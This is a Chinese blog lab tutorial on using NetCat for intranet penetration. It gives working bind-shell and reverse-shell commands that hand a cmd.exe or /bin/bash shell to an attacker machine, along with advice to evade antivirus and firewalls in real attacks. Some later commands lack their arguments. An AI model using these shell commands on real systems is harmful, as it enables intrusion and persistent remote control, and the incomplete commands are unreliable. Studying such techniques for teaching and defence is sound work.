关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
由于 NC 太有名了,所以很容易被防火墙拦截,我们的实验都是在关闭防火墙的情况下做的。
0x01:NetCat 工具介绍
NetCat 工具获取:netcat-win32-1.12.zip
NetCat 简称 NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通过 NC 可以进行端口扫描、反弹 Shell、端口监听和文件传输等操作,该工具的常用参数如下:
参数 | 含义 |
---|---|
-c | 指定连接后要执行的 Shell 命令 |
-e | 指定连接后要执行的文件名 |
-k | 配置 Socket 一直存活(若不想退出 Shell 后使监听断开可使用此参数) |
-l | 监听模式 |
-p | 设置本地主机使用的通信端口 |
-u | 使用 UDP 传输协议,默认为 TCP |
-v | 显示指令执行过程,使用 -vv 显示的会更详细 |
0x02:NetCat 正向反弹 Shell
NetCat 一般用于进行 Shell 加固(当你的 WebShell 作用有限或者不稳定时就可以使用 NC 来尝试做一个稳定的 Shell),做持久化控制,部分 Linux 机器中是自带该工具的,而 Windows 中是没有该工具的,需要我们自己上传(关闭防火墙,不然该工具很容易被发现)。
0x0201:场景描述
当你与目标处于同一网络环境中(同为公网,或者同为内网同一网段,总之二者能 Ping 通),即可使用 NC 进行正向反弹 Shell,对应拓扑图如下:
复现环境
攻击机 Kali Linux:IP 192.168.0.102
靶机 Windows7 专业版:IP 192.168.0.105 / 172.16.0.100
0x0202:实验复现
我们本次实验的靶机是 Windows 7,它内部并没有 NetCat 这款工具,所以我们需要将工具上传(实战中需要对其进行免杀,不然太容易被嘎了)后运行如下命令:
- ### 靶机运行
- nc -lvp 7777 -e C:\Windows\System32\cmd.exe # Windows 靶机运行
- nc -lvp 7777 -e /bin/bash # Linux 靶机运行
然后我们切换到 Kali Linux 攻击机,使用 NC 尝试连接靶机的 7777 端口,获取正向 Shell:
- ### 攻击机运行
- nc 192.168.0.105 7777
0x03:NetCat 反向反弹 Shell
0x0301:场景描述
当你与目标处于不同网络环境中(你访问不到它,但是它能访问你),即可使用 NC 进行反向反弹 Shell,对应拓扑图如下:
复现环境
攻击机 Kali Linux:IP 192.168.0.102 - VMware 设置为桥接模式
边界机器 B(物理机):IP 192.168.0.101 / 172.16.0.1
靶机 Windows7 专业版:IP 172.16.0.100 - VMware 设置为 NAT 模式
0x0302:实验复现
在 Kali Linux 攻击机中运行如下命令,监听本机的 7777 端口,等待靶机将自己的权限交给攻击者:
- ### 攻击机运行
- nc -lvp 7777
然后将 NetCat 上传到靶机中,并执行下面这条命令,主动将自己的控制权交给攻击者的 7777 端口:
- ### 靶机运行
- nc -e C:\Windows\System32\cmd.exe 192.168.0.102 7777 # windos 靶机
- nc -e /bin/bash 192.168.0.102 7777 # linux 靶机
此时我们回到攻击者视角,可以看到,靶机上线了:
0x04:NetCat 的其他用法
NetCat 还有许多强大的功能,不过实战中并不常用,但是笔者在这里也全都列出来,万一用上了呢。
0x0401:NetCat Banner 抓取
使用如下命令可以获取目标指定端口的信息:
nc -nv
0x0402:NetCat 端口探测
使用如下命令可以探测单个目标单个端口的开放情况:
nc -v
使用如下命令可以探测单个目标的多个端口的状态信息(非常慢):
- nc -v -z
- # 仅显示目标开放的端口 - nc -vv -z
- # 显示所有测试信息
0x0403:NetCat 端口监听
使用如下命令,可以使用 NetCat 监听指定端口,当有人访问该端口时就会输出对应的请求信息:
nc -l -p
0x0404:NetCat 文件传输
在接收端输入以下命令,这样传到指定端口的数据都会被丢到 file 中:
nc -lp >
在发送端输入如下命令,将 1.txt 文件传输给接收端:
- nc -vn
< -q 1 # Linux 上执行 - nc -vn
< -w 1 # Windows 上执行
此时我们去 Kali Linux 中可以查看到接收的 hello.txt 文件信息:
0x0405:NetCat 简易聊天
在服务端执行如下命令,开放一个专门聊天的端口:
nv -l -p 3333
然后在客户端执行如下命令,连接上服务端指定端口,这样就可以聊天了:
nc -vn



评论记录:
回复评论: